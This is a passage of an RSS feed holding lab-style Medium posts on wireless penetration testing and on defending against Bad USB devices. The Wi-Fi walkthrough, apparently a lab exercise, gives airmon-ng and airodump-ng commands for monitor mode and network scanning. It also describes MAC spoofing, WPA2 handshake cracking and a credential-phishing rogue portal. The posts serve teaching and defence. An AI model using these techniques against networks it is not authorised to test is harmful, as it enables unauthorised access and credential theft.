credentials without ever needing to touch a physical system.</p><p>MAC spoofing highlighted how easily device-based access controls such as MAC filtering can be bypassed, reinforcing the point that MAC addresses alone should never be relied upon as a primary security mechanism. The WPA2 cracking exercise demonstrated that even a protocol considered industry-standard is only as strong as the password protecting it — a weak or commonly used passphrase can be cracked in minutes using widely available tools and wordlists. The Evil Portal attack further illustrated the human element of cybersecurity, showing how social engineering through a convincing fake captive portal can be just as effective as any technical exploit.</p><p>From the blue team perspective, this phase underscores the critical importance of wireless intrusion detection, strong password policies, user education, and the adoption of layered defenses such as VPNs, HTTPS enforcement, and two-factor authentication. No single control is sufficient on its own — effective wireless security requires a combination of technical safeguards and an informed user base.</p><p>Together, the offensive and defensive perspectives explored in this phase reinforce a fundamental truth in cybersecurity: understanding how attacks work is the most effective foundation for building defenses capable of stopping them.</p><h4><strong>Disclaimer</strong></h4><blockquote><em>This walkthrough and all associated exercises are intended strictly for educational purposes within a controlled virtual and physical lab environment. All wireless attack techniques, tools, and methodologies described in this blog — including MAC spoofing, WPA2 handshake capture, password cracking, and Evil Portal deployment, must only be performed on networks and devices that you own or have explicit written authorization to test. Performing these techniques on networks without permission is illegal and may constitute a criminal offense under local, national, and international cybersecurity and computer fraud laws. The characters, organizations, and scenarios referenced — including AllSafe, ECorp, FSociety, and the Mr. Robot exercise framework are fictional references inspired by the television series Mr. Robot and are used solely to create an engaging and realistic learning environment. The author assumes no liability for any misuse of the information presented in this material.</em></blockquote><p><a href="https://x.com/allen_acee"><em>X (Twitter)</em></a><em> | </em><a href="https://www.youtube.com/@PurpleOpsLab/videos"><em>YouTube</em></a><em> | Email: ejiakuallen@cyber-wizard.com</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=541269d40eab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Locking Down Against Bad USB: Detection and Defense Strategies]]></title>
            <link>https://infosecwriteups.com/locking-down-against-bad-usb-detection-and-defense-strategies-daf329415393?source=rss-bb0151916ce2------2</link>
            <guid isPermaLink="false">https://medium.com/p/daf329415393</guid>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[usb-security-key]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Allen Ace]]></dc:creator>
            <pubDate>Tue, 30 Jun 2026 15:50:52 GMT</pubDate>
            <atom:updated>2026-08-10T08:56:49.189Z</atom:updated>
            <content:encoded><![CDATA[<p>In <a href="https://medium.com/@allenace/diy-rubber-ducky-generic-usb-flash-drive-391ad84476cb"><strong>DIY Rubber Ducky: Generic USB Flash Drive</strong></a>, we broke down how a Bad USB attack actually works, how something as ordinary-looking as a flash drive can be reprogrammed to impersonate a keyboard and silently hijack a system. Now that you understand the threat, the real question is: how do you stop it?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1g-5sFup6uyTNCFc6WjfNA.png" /></figure><p>Defending against Bad USB isn’t about one silver-bullet fix. It takes a layered approach combining technical controls, physical safeguards, and a workforce that knows what to watch for. Here’s how organizations can build that defense.</p><h4><strong>Controlling USB Device Access at the Policy Level</strong></h4><p>One of the most effective starting points is restricting what USB devices can do in the first place. Organizations can configure Group Policy settings to disable USB ports entirely or limit connections to approved device categories only. Pairing this with Endpoint Detection and Response (EDR) tools adds another layer, flagging suspicious USB behavior in real time so security teams can respond before damage is done.</p><h4><strong>Physical and Hardware-Level Safeguards</strong></h4><p>Sometimes the simplest defenses are the most effective. USB port blockers physically prevent unauthorized devices from being plugged in at all. Beyond that, device whitelisting ensures that even if a port is accessible, only pre-approved, trusted hardware can actually establish a connection.</p><h4><strong>Building a Security-Conscious Workforce</strong></h4><p>Technology alone won’t close the gap — people are often the weakest link. Regular security training helps employees understand why an unfamiliar USB drive found on a desk or in a parking lot shouldn’t be treated as free hardware. To reinforce this, many organizations run USB drop simulations, deliberately leaving decoy drives in common areas to see whether staff plug them in or report them, turning a potential vulnerability into a teachable moment.</p><h4><strong>Watching for the Warning Signs</strong></h4><p>Even with strong preventive measures, vigilance matters. Regularly reviewing system logs can reveal unusual commands or USB connection events that hint at malicious activity. Equally important is keeping an eye on network behavior, since some Bad USB attacks emulate network adapters to quietly redirect or intercept traffic, something that often shows up as abnormal activity before it’s caught any other way.</p><h3><strong>Reducing the Risk: Practical Steps to Mitigate Bad USB Attacks</strong></h3><p>Stopping a Bad USB attack before it starts comes down to proactive prevention. Beyond detection, there are several additional layers organizations can put in place to shrink their exposure.</p><h4><strong>Centralized Device Control Software</strong></h4><p>Dedicated device control platforms give administrators granular oversight, letting them enforce USB access rules, block specific device categories, or require authentication before any connection is allowed. This level of control is especially valuable in high-stakes environments like finance or healthcare, where even a small breach in data integrity can have serious consequences.</p><h4><strong>Securing at the Firmware Level</strong></h4><p>Some of the strongest defenses target the hardware itself. Choosing USBs with non-reprogrammable firmware closes off the exact vulnerability that Bad USB attacks exploit, since the firmware simply can’t be rewritten with malicious code. Encrypted USB drives add a further safeguard, locking down both data and firmware so unauthorized parties can’t tamper with either.</p><h4><strong>Rethinking USB Policy Across the Organization</strong></h4><p>Sometimes the best defense is reducing reliance on USB devices altogether. Companies can establish firm policies that limit or eliminate USB use in sensitive areas, and encourage teams to adopt safer alternatives — cloud storage, encrypted file transfers, or secure network drives — that accomplish the same goals without the physical risk a USB port introduces.</p><h3><strong>Blue Team Task</strong></h3><p>Create a GPO to disable USB Access.</p><p>On the Domain Controller, open the Group Policy Management Console (GPMC).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oOZHdzGLK7SS0GvwlRP2sg.png" /></figure><p>Right click on Group Policy Objects and click on New.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TU1TqEWW7kKD3-n-I2zLKA.png" /></figure><p>Provide an appropriate name to the GPO (for example, Disable USB Access) and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WQll-_Rt60M8Au1a4aKBow.png" /></figure><p>Right click on the newly created group policy (Disable USB Access) and click on Edit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ezmyub9Ub7xVInGEf8zZAg.png" /></figure><p>This launches the Group Policy Management Editor. From there, navigate through the console tree to User Configuration &gt; Policies &gt; Administrative Templates &gt; System &gt; Removable Storage Access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m7mR188fbc-_IBJxolUDww.png" /></figure><p>The Removable Storage Access section contains various options for different types of storage devices. Right click on the All Removable Storage classes: Deny all access setting and click on Edit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UIfUxwLgNByQYyU6Fnqhzg.png" /></figure><p>In the dialog box that opens, select the Enable option to block all access to USB devices. Click on Apply and then click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f_sKuRSZLrDoMJzU5ELvxQ.png" /></figure><p>Find the organizational unit (OU) that contains the users you want to restrict USB access for , keep in mind the HQ Users group only includes pprice and tcolby. Right-click on that OU and choose the Link an Existing GPO option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vb0mQAgGu98mg9fwSfg8CQ.png" /></figure><p>Select the required GPO (in this case, Disable USB Access) from the list of available policies and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zbmZRryqlIRVU7yM8ckmSA.png" /></figure><p>Select the dropdown for the OU the GPO was linked to see the status.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kMpjmhW3AmnhAGVH_ZgrNg.png" /></figure><p>Note that it is not currently enforced. Right click and select Enforced.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MPlRkFAZULxq0lv-f_sqkA.png" /></figure><p>Force the group policy update using the gpupdate /force command on the client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QknoZ9qIbW1h1VhGAQyVZw.png" /></figure><p>Attempt to open a USB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S1aZrhjSXdf6jl2bvZRaGA.png" /></figure><p>Log out of the same machine and log in as Administrator and attempt to open a USB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*79mbEhxWHcPNMFa2-i7zdQ.png" /></figure><p>It opens because the Administrator account was not part of the Organization Unit, HQs Users. This demonstrates how Group Policy can be selectively applied.</p><h4><strong>Building a Culture of USB Security Through Conversation</strong></h4><p>Awareness remains the strongest first line of defense against Bad USB attacks. Organizations should actively encourage employees to talk openly about USB safety, share experiences with anything that seemed off, and work together to establish smart habits. Training sessions should cover a few essential areas:</p><ul><li>Spotting the warning signs of a suspicious USB device</li><li>Understanding and following company USB policies</li><li>Knowing how and when to report a found USB device to IT security</li></ul><p>These ongoing conversations do more than just inform — they help embed security awareness into the everyday culture of the organization, making vigilance a shared responsibility rather than a one-time training checkbox.</p><blockquote><strong>Final Thoughts</strong></blockquote><blockquote>What makes Bad USB attacks so dangerous is their ability to slip past traditional security defenses by masquerading as routine, trusted hardware. As this discussion has shown, the threat is real and well-documented: these devices can be reprogrammed to carry out a wide range of malicious actions, and incidents like Stuxnet — along with countless live demonstrations at security conferences — prove just how exploitable USB ports can be in the wrong hands.</blockquote><blockquote>But the threat is far from unmanageable. By combining strict access policies, hardware-level safeguards, technical monitoring, and a genuinely security-conscious workforce, organizations can dramatically shrink their exposure to Bad USB attacks. The lesson is simple but critical: in cybersecurity, even the most familiar everyday objects deserve a second look.</blockquote><p><a href="https://x.com/allen_acee"><em>X (Twitter)</em></a><em> | </em><a href="https://www.youtube.com/@PurpleOpsLab/videos"><em>YouTube</em></a><em> | Email: ejiakuallen@cyber-wizard.com</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=daf329415393" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/locking-down-against-bad-usb-detection-and-defense-strategies-daf329415393">Locking Down Against Bad USB: Detection and Defense Strategies</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mr. Robot Exercise: Wireless Attack]]></title>
            <link>https://allenace.medium.com/mr-robot-exercise-wireless-attack-21d8ffefdf6c?source=rss-bb0151916ce2------2</link>
            <guid isPermaLink="false">https://medium.com/p/21d8ffefdf6c</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wireless-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Allen Ace]]></dc:creator>
            <pubDate>Mon, 01 Jun 2026 10:00:01 GMT</pubDate>
            <atom:updated>2026-06-01T10:00:01.363Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Summary:</strong> In this phase of the hands-on, the Mr. Robot (Red Team) objective is to gain unauthorized access to the ECorp network through wireless means. The first task involves spoofing a MAC address to match one that is permitted on the ECorp network, as ECorp employs both MAC filtering and WPA2 PSK as access controls. From there, the hands-on moves on to capturing a WPA2 4-way handshake and cracking the password in order to join the ECorp wireless network. Additionally, an Evil Portal attack will be carried out by deploying a rogue access point designed to trick ECorp users into surrendering their credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ecmxIOxnvGmsnaxcIUhx7w.png" /></figure><p><strong>Lab Setup:</strong> This hands-on requires a wireless USB adapter compatible with Kali Linux that supports promiscuous (monitor) mode, a configurable wireless access point, and a WiFi Pineapple. If these devices are unavailable, participants can still complete the MAC spoofing portion and work with pre-generated data files to perform the password cracking. Download the pcap file <strong>aircrack-01.cap</strong> from the link provided below.</p><p><a href="https://ln5.sync.com/dl/912d8bf10#ab7nzgrs-ajdxuetq-sygsq6f8-hydhfpj4">aircrack-01.cap</a></p><p>Alfa Card Link on Amazon</p><p><a href="https://www.amazon.com/ALFA-AWUS036ACH-%E3%80%90Type-C%E3%80%91-Long-Range-Dual-Band/dp/B08SJC78FH/ref=sr_1_fkmr0_1?crid=1ZMOD36EKP0V8&amp;dib=eyJ2IjoiMSJ9.tBB5XjJ_0M9Qs8bcDXLUM5qjpISfdvpsRAteUZGpHRU.SZRlbtuHbpLGsS3Vj3I_Q0lRlHnGhQQTKr2w8wwb2CQ&amp;dib_tag=se&amp;keywords=alfa+awuso36neh&amp;qid=1729995043&amp;sprefix=,aps,62&amp;sr=8-1-fkmr0">【New Version Type-C WiFi USB】 ALFA AWUS036ACH Long-Range Dual-Band AC1200 Wireless Wi-Fi Adapter w/2x 5dBi External Antennas - 2.4GHz 300Mbps/5GHz 867Mbps - 802.11ac &amp; A, B, G, N</a></p><h3>Set Up a Wireless Adaptor on a Kali VM in VirtualBox</h3><ol><li>Plug in the USB Wifi Adaptor.</li><li>In the settings for the Kali VM add a network adaptor in bridged mode.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U7XEUWrLyOoQkb5Er9tTig.png" /></figure><p>3. After starting the VM go to Devices and select the wireless adaptor. Note that the name of the adaptor may not be vendor name, it may be the vendor of the chipset used in the adaptor name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KmA2J7tVa6Jg4rNZYanJEQ.png" /></figure><p>4. Confirm the adaptor is connected to Kali by running the command below:</p><pre>sudo airmon-ng</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NgcYHyL13fnGpklf_njN9Q.png" /></figure><p>5. If it does not appear, run the command below and retry.</p><pre>sudo ifconfig wlan0 up</pre><p>6. You can also run iwconfig to see the wireless adaptors.</p><pre>iwconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yhsLTXyXU-Xgb3cxqLh_Bg.png" /></figure><p>7. Change the mode of the adaptor from “Managed” to “Monitor”. Monitor mode is the same as promiscious mode. Run the command below:</p><pre>sudo airmon-ng start wlan0 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QhU8d4IrqpwHpmS_0n-atg.png" /></figure><p>As seen above, if there is a conflict select “y” for airmon-ng to correct it.</p><p>8. Confirm it is in “Monitor” mode by running iwconfig again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7MsVeTy-Aby4O7w7lsaxyg.png" /></figure><h4><strong>Setting Up the Access Point</strong></h4><p>This section walks through the steps for configuring a WPA2 access point, including creating a strong password and setting up a wireless network that will be used for practice in upcoming articles, where WPA2 cracking will be demonstrated using Aircrack-ng and Wifite.</p><p><strong>Step 1: Access Your Router</strong> Begin by opening a web browser and logging into your wireless router. Navigate to the wireless settings and enable the 2.4 GHz radio. While some routers support both 2.4 GHz and 5 GHz bands, the 2.4 GHz band should be selected since most wireless hacking adapters operate on that frequency.</p><p><strong>Step 2: Configure the Network</strong> Set the network name to <strong>ECorpNet</strong>, leave the channel selection on automatic, then scroll down to the security settings and select <strong>WPA2</strong>.</p><p><strong>Step 3: Set a Strong Password</strong> Next, choose a password for the network. While a simple word like “password” might seem convenient, it offers little security. For this hands-on, a more complex option such as <strong>“DarkArmy”</strong> will be used. It is worth noting that any password found in a dictionary remains vulnerable to a dictionary attack. For demonstration purposes, this password has been intentionally selected to appear in the dictionary that will be used later to illustrate how such an attack is carried out.</p><p><strong>Step 4: Apply Settings</strong> Once all settings have been reviewed, click <strong>Apply</strong> to save the configuration. After the router finishes updating, the <strong>ECorpNet</strong> network should appear as an available connection.</p><p>With the network now configured, the next lesson will cover using Aircrack-ng to crack WPA2.</p><h4><strong>Wireless Scanning</strong></h4><p>This section covers how to detect available wireless networks using Kali Linux, including how to connect to networks when the correct credentials are available — a skill that will be explored further in later lessons. First, it helps to get comfortable with the basics in Kali Linux.</p><p><strong>Step 1: Check Your Wireless Card Status</strong> Start by verifying that the wireless card is functioning properly. Run the following command to view available network interfaces:</p><pre>ifconfig</pre><p>This command displays all network interfaces, including wired and loopback interfaces.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A27sRvJzJ_J-YJwsXljKEA.png" /></figure><p>For detailed wireless information, however, use iwconfig:</p><pre>iwconfig</pre><p>iwconfig is dedicated exclusively to wireless interfaces, displaying key details such as frequency, signal strength, and operating mode. This helps confirm whether your card is active and running in monitor mode. In the screenshot below, two wireless network cards are visible — one built into the laptop and the other an Alpha card that will be used for the exploitation tasks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aWtSB3aBLbnyqLOT7NpL3g.png" /></figure><h3>Step 2: Use Airodump-ng to Scan for Networks</h3><p>To start scanning for nearby wireless networks, we’ll use airodump-ng:</p><pre>sudo airodump-ng wlan1</pre><p>After approximately 30 to 45 seconds, airodump-ng will display a list of all detected networks, along with details such as network names (SSIDs), BSSIDs, signal strength levels, channels, and encryption types. Networks with signal values closer to zero are in close proximity, while those with higher values are located farther away.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gTTCakhuj8Tfz3QY_Nzrmg.png" /></figure><h3><strong>Interpreting Airodump-ng Results</strong></h3><p>The output is organized into several columns, each providing specific information:</p><ul><li><strong>BSSID:</strong> The MAC address of each access point.</li><li><strong>Power:</strong> Reflects signal strength, where values closer to zero indicate a stronger signal.</li><li><strong>Beacons:</strong> Tracks the number of beacon frames broadcast by each network.</li><li><strong>Data:</strong> Indicates the volume of data being transmitted across each network.</li><li><strong>Channel:</strong> Shows the channel each network operates on, commonly channels 1, 6, or 11 on the 2.4 GHz band.</li><li><strong>Speed:</strong> Displays the maximum supported speed, with 54 Mbps or higher pointing to modern standards such as Wireless G or N.</li><li><strong>Encryption:</strong> Identifies the security protocol in use, such as WPA2 or WEP.</li><li><strong>ESSID:</strong> Shows the network name, for example “Wireless Hacking” or “FBI Van.”</li></ul><p>These details make it possible to identify potential target networks based on their proximity and security configuration.</p><h4><strong>Client Connections</strong></h4><p>Below the main network list, airodump-ng also displays clients currently connected to each access point. The station MAC address corresponds to the device linked to a particular access point&#39;s BSSID, which is useful for targeting specific clients or networks during further analysis.</p><h4><strong>Connecting to a Network in Kali</strong></h4><p>Once valid credentials have been obtained (covered in future lessons), connecting to a network is as simple as clicking the Wi-Fi icon in the upper-right corner of Kali’s desktop, selecting the desired network, and entering the password. This will come in handy once the process of capturing and cracking network credentials has been covered.</p><p>The next section will address setting the wireless adapter to promiscuous mode, which enables it to capture all traffic on the network for use in further penetration testing.</p><h4><strong>Promiscuous Mode</strong></h4><p>This section explores promiscuous mode, its importance, and how to switch a wireless adapter between this mode and managed mode.</p><p>To get started, check the status of the wireless adapter in Kali Linux using the iwconfig command. Under wlan0, the mode will appear as &quot;managed.&quot; There are two key modes to be aware of: managed and monitor. Monitor mode is commonly referred to as promiscuous mode — but what exactly is it, and why does it matter?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r0u-htK_nzuJ7u9ZzBd8ZA.png" /></figure><p>Every wireless adapter has a MAC address, and under normal circumstances it only listens for traffic directed at that specific address. Think of it like being in a crowded bar — if someone calls out “Hey Elliot,” only Elliot reacts because he is listening for his own name. In the same way, a network card in managed mode only picks up traffic intended for its own MAC address and ignores everything else.</p><p>Promiscuous mode, on the other hand, allows the network card to capture all wireless traffic regardless of who it is addressed to. This is a critical capability for penetration testing, as it enables you to monitor all network activity and collect valuable information.</p><p>To enable promiscuous mode, start by shutting down the network card using ifconfig wlan1 down, then switch it to monitor mode with iwconfig wlan1 mode monitor. Confirm the change using iwconfig, then bring the card back online with ifconfig wlan1 up. Once in monitor mode, the adapter will capture all data transmitted over the airwaves. To revert back to managed mode, simply reverse the process — bring the card down, set the mode back to managed, and bring it back up.</p><pre>sudifconfig wlan1 down</pre><pre>sudo iwconfig wlan1 mode monitor</pre><pre>sudo iwconfig</pre><pre>sudo ifconfig wlan1 up</pre><h3><strong>Conclusion</strong></h3><p>This hands-on provided a comprehensive walkthrough of wireless attack techniques commonly used by red teams in real-world penetration testing scenarios. From configuring a WPA2 access point and spoofing MAC addresses to capturing 4-way handshakes and setting up rogue access points, each step demonstrated how attackers can methodically exploit weaknesses in wireless network security.</p><p>The use of tools such as Aircrack-ng, Airodump-ng, and the WiFi Pineapple highlighted just how accessible these attack methods have become, reinforcing the importance of implementing robust wireless security measures. Understanding how promiscuous mode works and how traffic can be intercepted serves as a stark reminder that wireless networks, if not properly secured, can be a significant point of vulnerability within any organization.</p><p>From the Blue Team’s perspective, this exercise underscores the need for continuous monitoring of wireless activity, strong password policies, and the use of additional security layers beyond basic WPA2 encryption. Relying solely on MAC filtering or a single authentication method is insufficient against a determined and well-equipped adversary.</p><p>Ultimately, exercises like this one are invaluable for both offensive and defensive security practitioners. They provide hands-on exposure to the tactics and tools used by real threat actors, enabling security teams to better understand their own vulnerabilities and build more effective defenses. A well-secured wireless network is not just a technical requirement — it is a critical component of any organization’s overall security posture.</p><p>Looking ahead, the next article will take things a step further as we explore how to hunt for wireless networks, including those that attempt to conceal themselves by hiding their station IDs. Stay tuned.</p><blockquote><strong>Disclaimer</strong> The techniques, tools, and methods demonstrated in this exercise are intended strictly for educational purposes and authorized security testing within a controlled lab environment. All wireless attacks should only be performed on networks you own or have explicit written permission to test. Unauthorized interception of wireless communications is illegal and punishable under applicable laws. The authors accept no responsibility for any misuse of the information presented here. Always conduct security testing ethically, responsibly, and in full compliance with relevant laws and regulations.</blockquote><blockquote><a href="https://x.com/allen_acee">X (Twitter)</a> | <a href="https://www.youtube.com/@PurpleOpsLab/videos">YouTube</a> | Email: ejiakuallen@cyber-wizard.com</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21d8ffefdf6c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>